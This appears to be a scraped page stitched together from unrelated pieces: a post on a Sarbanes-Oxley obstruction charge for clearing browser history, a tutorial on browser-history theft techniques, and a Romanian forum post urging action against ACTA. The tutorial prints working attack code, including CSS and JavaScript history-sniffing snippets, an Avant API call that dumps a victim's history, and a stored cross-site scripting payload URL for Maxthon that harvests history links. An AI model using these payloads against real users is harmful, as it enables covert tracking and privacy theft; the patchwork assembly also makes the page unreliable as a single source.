  2. Deleting your browser history could land you up in prison for 20 years in United States Clearing your browsing history is a crime in United States according to the Sarbanes-Oxley Act of 2002 In a recent article published in The Nation, it revealed the improper use of a law meant for completely different purposes by by federal prosecutors. The Sarbanes-Oxley Act of 2002 was meant to provide authorities with tools to prevent criminal behavior by corporations. It was put into practice after the Enron meltdown when it was found out that executives or their servants following orders torn into shreds every document they could think of which may prove them guilty. The legislation’s goal was to stop companies from committing large fraud and then damaging the evidence of their conspiratorial criminality while investigations were under way. The appropriate section of Sarbanes-Oxley reads as follows: Whoever knowingly alters, destroys, mutilates, conceals, covers up, falsifies, or makes a false entry in any record, document, or tangible object with the intent to impede, obstruct, or influence the investigation or proper administration of any matter within the jurisdiction of any department or agency of the United States or any case filed under title 11, or in relation to or contemplation of any such matter or case, shall be fined under this title, imprisoned not more than 20 years, or both. Khairullozhon Matanov, a friend of the Tsarnaev brothers, the Boston Marathon bombers was interviewed by the Federal authorities about his association with them. However, the federal authorities never accused him for any activity linked to the bombing nor have they said that he was having knowledge of their plans or felt for them. During the interviews, he did however perpetrate a few small lies, of which none had any actual relation to the case. For instance, he lied that he had last time prayed with Tamerlan Tsarnaev together. On that grounds, … they charged him with four counts of obstruction of justice. There were three counts for making false statements based on the aforementioned lies and—remarkably—one count for destroying “any record, document or tangible object” with intent to obstruct a federal investigation. This last charge was for deleting videos on his computer that may have demonstrated his own terrorist sympathies and for clearing his browser history. Based on the records section of Sarbanes-Oxley mentioned above, the last charge was applied. The law meant to stop and punish corporate wrongdoing is instead used as a hammer against a private citizen to a great extent. Some people may feel that any possible application of a law is tolerable, especially in the continual war on terror. However, if that law is ever used against them, they might end up feeling differently about it. The most unpleasant or offensive part of this is that it is being used to punish “pre-crimes.” When Matanov deleted his browser history, he had not been accused of anything and was not aware that he was under a formal inquiry. His crime was not predictable that federal agents may someday make a decision to examine him and thus failing to maintain any self-incriminating potential evidence. As Hanni Fakhoury of the Electronic Frontiers Foundation put it, the government is saying: “Don’t even think about deleting anything that may be harmful to you, because we may come after you at some point in the future for some unforeseen reason and we want to be able to have access to that data. And if we don’t have access to that data, we’re going to slap an obstruction charge that has as 20-year maximum on you.” The article in The Nation shows that this is not an remote and unfair use of Sarbanes-Oxley, discussing many other similar cases. Traders and bankers danced away with multi-million dollar bonuses after their criminally reckless maneuvering almost put an end to the global economy. Their companies paid fines that are not worth to be considered for market manipulations and criminal money laundering. Until now, none of them have go to jail and none of them have been sued under Sarbanes-Oxley. However, it is a different rule of law for an undistinguished or average citizen. As more and more data are stored online, the government wants and believes it has the rights to access that data for policing purposes. But Fakhoury disagrees. “The idea that you have to create a record of where you’ve gone or open all your cupboards all the time and leave your front door unlocked and available for law enforcement inspection at any time is not the country we have established for ourselves more than 200 years ago.” This law has been in the books for thirteen years now. It has not managed to control the corporate wrongdoing, but it is proving to be having a negative effect on citizens who have never swindled a shareholder in their lives. Combined with federal investigations through our online communications and their efforts to break secure encryption in our data storage, they want us to completely give up our personal freedom of thought and privacy.

  3. Exploiting Same Origin with Browser History Browser history attacks leak sensitive information regarding different origins. They allow you to determine what origins the user has been visiting. In a legacy browser, a browser history attack typically involved simply checking the color of links (blue) written to the page. You will briefly explore using CSS Colors, but today’s latest browsers have been patched, so you won’t find this type of attack. This article will describe attack methods that are currently the most effective for revealing browser history information across a range of browsers. A few examples of lesser-known browsers vulnerable to these history-stealing vulnerabilities, like Avant and Maxthon browsers, will also be explored. Using CSS Colors In previous days, stealing browser history using CSS information was very easy and possible. This attack was performed through the abuse of the visited CSS selector. The technique was very simple but very effective. Take for example the following code: <a id="site_1" href="http://httpsecure.org">link</a> CSS action selector could be used to check if the target visited the previous link, and therefore would be present in the browser history looking similar to this: #1: visited { background: url(/httpsecure.org?site=securityflaw); } In the above mentioned code, the background selector is used, but you can use any selector where a URI can be specified. In the instance of httpsecure.org being present in the browser’s history, a GET request to httpsecure.org?site=securityflaw will be submitted. Jeremiah Grossman found a similar issue exploiting technique in 2006 that also relied on checking the color of a link element. In most browsers, the default behavior when a link had already been visited by user set the color of the link text from blue to violet. On the other way, if the link had not been visited, it was set to its default color (blue). In Grossman’s original Proof of Concept, the link visited by user style was overridden with a custom style/color (such as pink). A script was then used to dynamically generate links on the page, potentially hidden from the user. These were compared with the previously overridden pink color link. If a match was found, an attacker would know that the site was present in the browser history. Consider the following example: <html> <head> <style> #link:visited {color: # FF1493;} </style> </head> <body> <a id="link" href="http://httpsecure.org" target="_blank">clickhere</a> <script> var link = document.getElementById("link"); var color = document.defaultView.getComputedStyle(link, null).getPropertyValue("color"); console.log(color); </script> </body> </html> If the link was already visited by the user, and if the browser is vulnerable to this issue, the output in the console log would be rgb(255,20,147), which corresponds to the pink color overridden in the CSS. If you run the above mentioned snippet in Firefox (which is already patched against this attack), it will always return rgb(0, 0, 238). Nowadays, most modern browsers have patched this behavior. For example, Firefox patched this technique in 2010. Using Cache Timing Felten and Schneider wrote the first white papers on the topic of cache timing attacks in 2000. The paper, titled “Timing Attacks on Web Privacy,” was mainly focused on measuring the time required to access a resource with or without browser caching. Using this information, it was quite possible to deduce if the resource was already retrieved (and cached). The limitation of this attack was that querying the browser cache during the initial test was also tainting it. Michal Zalewski found another way which was totally non-destructive to extract browser history using a previously mentioned cache-timing technique. Zalewski’s way consists of loading resources in iframes, trapping same origin policy violations, and preventing the alteration of the cache. Iframes are great, just because the same origin policy is enforced and you can prevent the iframe from fully loading the resource, preventing the modification of the same into the local cache. The cache stays untouched, as short timings are used when loading and unloading resources. As soon as it can be ascertained that there is a cache miss on a particular resource, the iframe loading is stopped. This behavior allows testing the same resource again at a later stage. The most effective resources to target using this technique are JavaScript or CSS, reason being they are often cached by the browser, and are always loaded when browsing to a target application. These resources will be loaded in iframes, and it should not include any framebusting logic, such as X-Frame-Options (other than Allow). Mansour Behabadi found a different technique that relied on the loading of images instead. The technique currently only works on WebKit- and Gecko-based browsers. When your browser has cached an image, it usually takes less than 10 milliseconds to load it from the cache. If the image is not found in the browser cache, the fetching will start from the server and time depend upon image size and net connection speed. Using this timing information, you can check out whether a target’s browser has previously visited websites. Note: You can read the full source code of this technique on https://browserhacker.com, or the Wiley website at www.wiley.com/go/browserhackershandbook where the original three PoCs have been modified and merged as a single code snippet. Just remember that an additional limitation of this technique is that the resource you want to find, for example http://httpsecure.org/images/arrow.png, might be moved temporarily or permanently b the time you are reading this article. This is already the case for some of the resources used in the original PoC by Zalewski. Reason being both of these techniques rely on specific and short timings when reading from the cache, and they’re both very sensitive to machine performance. The same thing applies to the second technique, where the timing is “hard-coded” to 10 milliseconds. For example, if you’re playing an HD video on Vimeo while your machine is extensively using CPU and IO, the accuracy of the results may decrease. Using Browser APIs Avant is a lesser-known browser that can swap between the Trident, Gecko and WebKit rendering engines. Roberto Suggi Liverani has found an attack for bypassing the same origin policy using specific browser API calls in the Avant browser prior to 2012 (build 28). Let’s consider the following code that shows this issue: var av_if = document.createElement("iframe"); av_if.setAttribute('src', "browser:home"); av_if.setAttribute('name','av_if'); av_if.setAttribute('width','0'); av_if.setAttribute('heigth','0'); av_if.setAttribute('scrolling','no'); document.body.appendChild(av_if); var vstr = {value: ""}; //This works if Firefox is the rendering engine window['av_if'].navigator.AFRunCommand(60003, vstr); alert(vstr.value); The above mentioned code snippet loads the privileged browser:home address into an iframe, and then executes the function AFRunCommand() from its own navigator object. This function is an undocumented and proprietary API that Avant added to the DOM. Liverani tried a brute force on some of the integer values which need to be passed as the first parameter to the function. He found that by passing the value 60003 and a JSON object to the AFRunCommand() function, he was able to retrieve the victim’s full browser history. This is clearly a Same Origin Policy bypassing technique because code running on an origin such as http://httpsecure.org must not be able to read the contents of a higher zone, like browser:home, as per in this code. Executing the previous code snippet would result in a pop- up containing the browser history in it. This issue has been found in Maxthon 3.4.5 (build 2000). Maxthon is another less-known web browser. Roberto Suggi Liverani discovered that the content rendered in the about:history page does not have effective output escaping. This can be exploitable. If an attacker forces a victim to open a malicious link, this injection will persist in the history page until history is cleared: http://example.com/issue/hacked.html#” onload=’prompt(1)'<!— This code will execute each and every time the victim checks the browser history. Also, JavaScript is executing in the privileged zone. The about:history page happens to be mapped to a custom Maxthon resource at mx://res/history/index.htm. Injecting code into this context allows you to steal all the history contents. div: links = document.getElementById('history-list') .getElementsByTagName('a'); result = ""; for(var i=0; i<links.length; i++) { if(links[i].target == "_blank"){ result += links[i].href+"\n"; } } alert(result); This above mentioned payload can be packaged and delivered with the following link: http://example.com/issue/hacked.html#" onload='links=document. getElementById("history-list").getElementsByTagName("a"); result="";for(i=0;i<links.length;i++){if(links[i].target=="_blank") {result+=links[i].href+"\n";}}prompt(result);'<!-- Cross-content scripting vulnerability is stored. So, after loading the malicious content into the history page the first time, the code will execute every time the user revisits their history. In a real case of launching this attack, it would be necessary to replace the prompt() function with one of the hooking techniques. Browser history can be sent to the server.

    ACTA Actions!

    Salutare, Exista sau nu o discutie pe tema asta (nu am mai cautat)!? Ce faceti? Ce facem? Sunt f.f. multe, trebuie sa decidem ce, cand si pt. cat timp! Trebuie implicati toti! Absolut toti utilizatorii de internet (de la gheorghita care "chatuieste" cu maria pana la daniel care participa activa la 5 proiecte OSS si mai are si-un job full-time pe langa). Poate a inceput ca un model de protectie pentru unii care poate chiar merita, dar interpretarile vor fi devastatoare. Babalacii astia prosti vor interpreta ce si cum vor ei. Daca au fetishuri cu legi kinky, macar continutul sa fi al nostru, al tuturor. In primul rand trebuie un thread privat pt stabilirea de reguli. Nu stim cine a semnat, de ce a semnat dar stim ca guvernul a permis asa ceva, therefore we has target. Nu am nici un interes politic, nu imi pasa de ei, de nici unul, nu am nici o apartenenta dar nu vreau sa fiu nevoit sa-mi pun iar "farfurie" pt. un internet liber. Nu vreau sa incep sa adun prieteni si sa reincepem retele private doar pt ca idiotii sunt idioti si nu stiu ce fac. E anormal sa-ti pui chilotii in strada si sa vrei sa cenzurezi asta. Nu vom lasa aprobarea votului in Parlamentul European. Nu vom lasa mizeria asta sa intre in monitorul oficial.. Anul asta mai putem face ceva..teoretic. A inceput cineva ceva? Unde, ce si cu ce se poate ajuta (ORICE!). Facem "alt internet" sau il corectam pe acesta? more? newsetup [at] blazemail.com set1911up
